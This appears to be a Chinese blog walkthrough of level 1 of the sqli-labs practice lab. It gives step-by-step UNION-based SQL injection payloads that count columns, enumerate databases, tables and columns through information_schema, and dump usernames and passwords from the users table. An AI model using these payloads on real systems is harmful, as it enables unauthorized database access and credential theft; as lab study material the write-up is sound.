sqlilab第一关

1.判断注入方式为字符型

输入正常id=1

注入引号

可以推断查询语句为select * from  users where id=1 limit 0,1; (ps:users表只是举例)

打开第一关的php源码查看结果

打开数据库命令行查询结果

2.查询库名

<1>判断表有几列

当输入order by 3时未报错,而order by 4报错,说明表有三列

<2>判断回显的位置

为了union后的语句可生效,需将之前的报错,改为-1

select 1,2,3 --+   ,数字可以为任意,--+注释掉查询语句后的单引号,使其闭合

<3>显示库名

此处选择在第二列显示库名: ?id=-1' union select 1,(select group_concat(schema_name) from+information_schema.schemata),3 --+

小注:group_concat函数的作用

该表只有一个字段,故group_concat将相同字段在同一行显示

3.查询security表名

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

4.查询User表中的字段名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

5.查询所有username,password的内容

id=-1' union select 1,(select group_concat(username) from security.users),3 --+

id=-1' union select 1,(select group_concat(password) from security.users),3 --+

 参考链接:

https://www.cnblogs.com/cnsec/p/11830682.html

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值